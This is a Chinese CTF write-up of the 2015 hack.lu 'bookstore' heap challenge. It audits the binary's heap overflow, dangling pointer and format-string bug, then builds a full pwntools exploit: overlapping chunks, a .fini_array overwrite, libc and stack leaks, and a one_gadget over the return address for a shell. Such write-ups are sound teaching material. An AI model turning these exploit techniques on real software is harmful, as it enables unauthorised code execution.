Eureka's Studio.

(堆拓展)2015_hacklu_bookstore

2023/11/01

为什么堆题的难度会这么大QAQ 我菜哭了啊

[堆拓展]2015 hacklu bookstore

审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
first_order = (char *)malloc(0x80uLL);
second_order = (char *)malloc(0x80uLL);
dest = (char *)malloc(0x80uLL);

fgets(&s, 128, stdin);
switch ( s )
{
case '1':
puts("Enter first order:");
edit_order(first_order);
strcpy(dest, "Your order is submitted!\\n");
goto LABEL_14;
case '2':
puts("Enter second order:");
edit_order(second_order);
strcpy(dest, "Your order is submitted!\\n");
goto LABEL_14;
case '3':
delete_order(first_order);
goto LABEL_14;
case '4':
delete_order(second_order);
goto LABEL_14;
case '5':
v5 = (char *)malloc(0x140uLL);
if ( !v5 )
{
fwrite("Something failed!\\n", 1uLL, 0x12uLL, stderr);
return 1LL;
}
submit(v5, first_order, second_order);
v4 = 1;
break;
default:
goto LABEL_14;
}

一个比较常规的菜单 只让order两个 并且提供删除操作 并且malloc的大小在之前已经是固定了 edit函数里主要是字符串的读入 不过很明显 没有提供边界 可以一直读入 会造成堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 __fastcall edit_order(char *a1)
{
...

while ( v3 != '\\n' )
{
v3 = fgetc(stdin);
idx = cnt++;
a1[idx] = v3;
}
a1[cnt - 1] = 0;
return __readfsqword(0x28u) ^ v5;
}

delete函数的话 也是很暴力的就free了堆 并没有对相应的fd bk指针进行置空 那么这个堆就有重复利用的机会了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 __fastcall submit(char *all, const char *order1, char *order2)
{
const char *src; // ST08_8
unsigned __int64 v4; // ST28_8
size_t v5; // rax
char *v6; // rax
size_t v7; // rax

src = order2;
v4 = __readfsqword(0x28u);
*(_QWORD *)all = ':1 redrO';
*((_WORD *)all + 4) = ' ';
v5 = strlen(order1);
strncat(all, order1, v5);
v6 = &all[strlen(all)];
*(_QWORD *)v6 = '2 redrO\\n';
*((_WORD *)v6 + 4) = ' :';
v6[10] = 0;
v7 = strlen(src);
strncat(all, src, v7);
*(_WORD *)&all[strlen(all)] = '\\n';
return __readfsqword(0x28u) ^ v4;
}

submit函数做的就是将order1和order2的内容都复制到自己申请的一个堆空间中 其实光看submit倒是没啥问题 具体利用后面再说 后面看到了printf(dest)这一很明显的fmt漏洞

1
2
3
4
5
6
7
8
first_order = (char *)malloc(0x80uLL);
second_order = (char *)malloc(0x80uLL);
dest = (char *)malloc(0x80uLL);
case '2':
puts("Enter second order:");
edit_order(second_order);
strcpy(dest, "Your order is submitted!\\n");
goto LABEL_14;

first second dest三个应该是连在一起的堆 在second堆进行直接溢出覆盖dest的想法很好 可是我们写入了之后会被固定字符给覆盖 是有先后顺序的 不过如果我们能够通过first堆的溢出 修改second堆大小 这样进行UAF之后 malloc会先使用我们的unsorted bin 那么通过构造堆的方式 也许可以实现对dest的控制 这里的0x80是分析有误 实际上是0x90 submit堆也是一样

构造

我们是要利用dest堆 不能直接用second堆 只能用后面的submit堆 那么我们必须要构造出一个0x150的bin给他用 可以用first的堆进行溢出 溢出到second的堆中进行大小的修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
del2()
payload = 'A' * 0x88 + p64(0x151)
order1(payload)

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x12ab000
Size: 0x91

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x12ab090
Size: 0x151
fd: 0x7f2720272b00
bk: 0x7f2720272b78

Allocated chunk | IS_MMAPED
Addr: 0x12ab1e0
Size: 0x6920746f6e206572

这样即可达到构造一个0x150堆的目的 构造之后我们submit即可将该unsorted bin激活 构造出一个重叠的堆空间 先看一下submit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 __fastcall submit(char *all, const char *order1, char *order2)
{
const char *src; // ST08_8
unsigned __int64 v4; // ST28_8
size_t v5; // rax
char *v6; // rax
size_t v7; // rax

src = order2;
v4 = __readfsqword(0x28u);
*(_QWORD *)all = ':1 redrO';
*((_WORD *)all + 4) = ' ';
v5 = strlen(order1);
strncat(all, order1, v5);
v6 = &all[strlen(all)];
*(_QWORD *)v6 = '2 redrO\\n';
*((_WORD *)v6 + 4) = ' :';
v6[10] = 0;
v7 = strlen(src);
strncat(all, src, v7);
*(_WORD *)&all[strlen(all)] = '\\n';
return __readfsqword(0x28u) ^ v4;
}

*all是那个0x150的堆 后续称它为submit堆 submit函数会将order1与order2的数据一并写入到submit堆中 并且会在前方加上一些固定字符 先看一下我们的目标吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/40gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091 <--- first堆
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000151 <--- submit堆(padding我省略了)
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000091 <--- dest堆
0x602130: 0x0000000000000000 0x0000000000000000

我们的目的是0x602120处的字符可控 而这个0x602120地址其实是处于submit堆里面的 因此我们如果要构造此处的地址 就需要认真构造first堆内容 因为对于second堆而言 虽然已经释放了 但是指向second堆的指针还存储在栈上

1
2
3
4
5
6
7
8
9
10
11
char *v5; // [rsp+8h] [rbp-B8h]
char *first_order; // [rsp+18h] [rbp-A8h]
char *second_order; // [rsp+20h] [rbp-A0h]
char *dest; // [rsp+28h] [rbp-98h]
char s; // [rsp+30h] [rbp-90h]
unsigned __int64 v10; // [rsp+B8h] [rbp-8h]

v10 = __readfsqword(0x28u);
first_order = (char *)malloc(0x80uLL);
second_order = (char *)malloc(0x80uLL);
dest = (char *)malloc(0x80uLL);

所以指针还是指向原来的second堆地址 也就是现在的submt堆地址 因此 在submit时会将submit堆的内容再复制一遍 因此有以下关系

1
submit堆内容 = 'Order 1: ' + first堆长度 + '\\nOrder 2: ' + 'Order 1: ' + first堆长度

我们的目标地址距离submit头部有0x90的长度(其实就是原second堆大小) 为了简化计算 如果我们将first堆开头部分就设置为payload的话有

1
2
first堆长度 + 0x1C(28个固定字符) = 0x90 (因为第二个first堆开头就是payload 所以不算第二个进去)
first堆长度 = 0x74

不过 如果我们要覆盖到second堆头部存储长度的地址 需要0x88个字符 后来发现可以很巧妙的利用strlen()函数的00截断机制 成功让submit中判定为0x74个长度

1
2
3
4
5
6
7
8
9
10
11
del2()

payload = '@@%13$p@'
payload += 'A' * (0x74 - len(payload))
payload += '\\x00' * 20
payload += '\\x51' + '\\x01'

order1(payload)

submit()
sh.recvuntil('@')

成功利用fmt漏洞 回显已经输出栈上字符 至此可以说堆内容构造完成 半只脚打通了

二次利用

程序在submit之后就停了 我们即使输出ret_addr或者libc_start_main地址都是徒劳 我们必须要让程序返回到main 程序内是有.fini_array段的

1
2
3
4
5
6
7
8
9
10
11
12
.fini_array:00000000006011B8 ; ELF Termination Function Table
.fini_array:00000000006011B8 ; ===========================================================================
.fini_array:00000000006011B8
.fini_array:00000000006011B8 ; Segment type: Pure data
.fini_array:00000000006011B8 ; Segment permissions: Read/Write
.fini_array:00000000006011B8 ; Segment alignment 'qword' can not be represented in assembly
.fini_array:00000000006011B8 _fini_array segment para public 'DATA' use64
.fini_array:00000000006011B8 assume cs:_fini_array
.fini_array:00000000006011B8 ;org 6011B8h
.fini_array:00000000006011B8 off_6011B8 dq offset sub_400830 ; DATA XREF: init+19↑o
.fini_array:00000000006011B8 _fini_array ends
.fini_array:00000000006011B8

我们可以利用 不过也只有一次机会 不过现在的关键是如何传入栈上

1
2
3
4
5
6
7
8
9
while ( !v4 )
{
puts("1: Edit order 1");
puts("2: Edit order 2");
puts("3: Delete order 1");
puts("4: Delete order 2");
puts("5: Submit");
fgets(&s, 128, stdin);
switch ( s )

我实在是没想到还能这么传入 这个s直接给了0x80 因此在submit时可以把这个fini_array传入

1
2
3
4
5
6
7
8
9
10
11
12
fini_array = 0x6011b8

del2()

payload = '%'+str(0xa39)+'c%13$hn'+'.%31$p'+ ',%28$p'
payload += 'A' * (0x74 - len(payload))
payload += '\\x00' * 20
payload += '\\x51' + '\\x01'

order1(payload)

submit('0000000' + p64(fini_array))

这个%31$p是为了泄漏__libc_start_main函数地址 这个%28$p就更有意思了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> stack 30
00:0000│ rsp 0x7ffd361b00c8 —▸ 0x400c7f ◂— mov rax, qword ptr [rbp - 0x98]
01:00080x7ffd361b00d0 ◂— 0x1361b0101
02:00100x7ffd361b00d8 —▸ 0x224d0a0 ◂— 0x3a3120726564724f ('Order 1:')
03:00180x7ffd361b00e0 —▸ 0x400d38 ◂— pop rcx /* 'Your order is submitted!\\n' */
04:00200x7ffd361b00e8 —▸ 0x224d010 ◂— '%2617c%13$hn.%31$p,%28$pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
05:00280x7ffd361b00f0 —▸ 0x224d0a0 ◂— 0x3a3120726564724f ('Order 1:')
06:00300x7ffd361b00f8 —▸ 0x224d130 ◂— '%2617c%13$hn.%31$p,%28$pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\nOrder 2: \\n'
07:00380x7ffd361b0100 ◂— 0x3030303030303035 ('50000000')
08:00400x7ffd361b0108 —▸ 0x6011b8 —▸ 0x400830 ◂— cmp byte ptr [rip + 0x200c09], 0
09:00480x7ffd361b0110 ◂— 0xa /* '\\n' */
0a:00500x7ffd361b0118 ◂— 0x0
... ↓ 4 skipped
0f:00780x7ffd361b0140 —▸ 0x7ff9bb7b0168 ◂— 0x0
10:00800x7ffd361b0148 ◂— 0x7ff900f0b5ff
11:00880x7ffd361b0150 ◂— 0x1
12:00900x7ffd361b0158 —▸ 0x400cfd ◂— add rbx, 1
13:00980x7ffd361b0160 —▸ 0x7ffd361b018e ◂— 0x400cb02f39
14:00a0│ 0x7ffd361b0168 ◂— 0x0
15:00a8│ 0x7ffd361b0170 —▸ 0x400cb0 ◂— push r15
16:00b0│ 0x7ffd361b0178 —▸ 0x400780 ◂— xor ebp, ebp
17:00b8│ 0x7ffd361b0180 —▸ 0x7ffd361b0270 ◂— 0x1
18:00c0│ 0x7ffd361b0188 ◂— 0x2f3966c3ad90a500
19:00c8│ rbp 0x7ffd361b0190 —▸ 0x400cb0 ◂— push r15
1a:00d0│ 0x7ffd361b0198 —▸ 0x7ff9bb1df840 (__libc_start_main+240) ◂— mov edi, eax
1b:00d8│ 0x7ffd361b01a0 ◂— 0x1
1c:00e0│ 0x7ffd361b01a8 —▸ 0x7ffd361b0278 —▸ 0x7ffd361b12b3 ◂— 0x736b6f6f622f2e /* './books' */
1d:00e8│ 0x7ffd361b01b0 ◂— 0x1bb7aeca0

rbp的低16字节处 也就是0x7ffd361b0180地址所存储的0x7ffd361b0270 这个值永远比ret_addr高0xd8(每个机子不一样) 不过在利用.fini_array之后 整个栈地址会有一个固定的偏移量 这个需要自行调试 调试后的payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
payload = '%' + str(0xa39) + 'c%13$hn' + '.%31$p' + ',%28$p'
payload = payload.ljust(0x74,'A')
payload += '\\x00' * (0x88 - len(payload))
payload += p64(0x151)
order1(payload)
pause()
submit('0000000' + p64(fini_array))
pause()

sh.recvuntil('\\x2e')
sh.recvuntil('\\x2e')
sh.recvuntil('\\x2e')
libc_start_main_addr = sh.recv(14)
log.success('libc_start_main_addr :' + libc_start_main_addr)

sh.recvuntil('\\x2c')
leak_addr = sh.recv(14)

log.success('leak_addr :' + leak_addr)

leak_addr = int(leak_addr, 16)
libc_start_main_addr = int(libc_start_main_addr, 16)
ret_addr = leak_addr - 0xd8 - 0x110
log.success('ret_addr :' + str(ret_addr))
libc_base = libc_start_main_addr - 0x20840

EXP

知道了所需地址 用one_gadget再利用fmt改ret_addr即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context.log_level = 'debug'
elf = ELF('./books')
sh = process('./books')
libc = elf.libc
fini_array = 0x6011b8
main_addr = 0x400a39

def order1(payload):
sh.sendline('1')
sh.recvuntil('Enter first order:')
sh.sendline(payload)

def order2(payload):
sh.sendline('2')
sh.recvuntil('Enter second order:')
sh.sendline(payload)

def submit(content):
sh.sendline('5' + content)

def del1():
sh.sendline('3')

def del2():
sh.sendline('4')

gdb.attach(sh)
del2()

payload = '%' + str(0xa39) + 'c%13$hn' + '.%31$p' + ',%28$p'
payload = payload.ljust(0x74,'A')
payload += '\\x00' * (0x88 - len(payload))
payload += p64(0x151)
order1(payload)
pause()
submit('0000000' + p64(fini_array))
pause()

sh.recvuntil('\\x2e')
sh.recvuntil('\\x2e')
sh.recvuntil('\\x2e')
libc_start_main_addr = sh.recv(14)
log.success('libc_start_main_addr :' + libc_start_main_addr)

sh.recvuntil('\\x2c')
leak_addr = sh.recv(14)

log.success('leak_addr :' + leak_addr)

leak_addr = int(leak_addr, 16)
libc_start_main_addr = int(libc_start_main_addr, 16)
ret_addr = leak_addr - 0xd8 - 0x110
log.success('ret_addr :' + str(ret_addr))
libc_base = libc_start_main_addr - 0x20840

one_gadget = libc_base + 0x45226
print 'one_gadget = ' + hex(one_gadget)
one_gadget1 = '0x'+str(hex(one_gadget))[-2:]
print one_gadget1
one_gadget2 = '0x'+str(hex(one_gadget))[-7:-2]
print one_gadget2

one_gadget1 = int(one_gadget1,16)
one_gadget2 = int(one_gadget2,16)

del2()

payload = "%" + str(one_gadget1) + "d%13$hhn"
payload += '%' + str(one_gadget2 - one_gadget1) + 'd%14$hn'
payload = payload.ljust(0x74,'A')
payload += '\\x00' * (0x88 - len(payload))
payload += p64(0x151)
order1(payload)

pause()
submit('0000000' + p64(ret_addr) + p64(ret_addr + 1))
pause()
sh.interactive()

只不过一次性改太多字节的话会报错 我这环境是先改了ret_addr的尾字节 然后再改了剩余的5个字节 对于one_gadget的话 对着libc-2.23.so用就行了

CATALOG
  1. 1. [堆拓展]2015 hacklu bookstore
    1. 1.1. 审计
    2. 1.2. 构造
    3. 1.3. 二次利用
    4. 1.4. EXP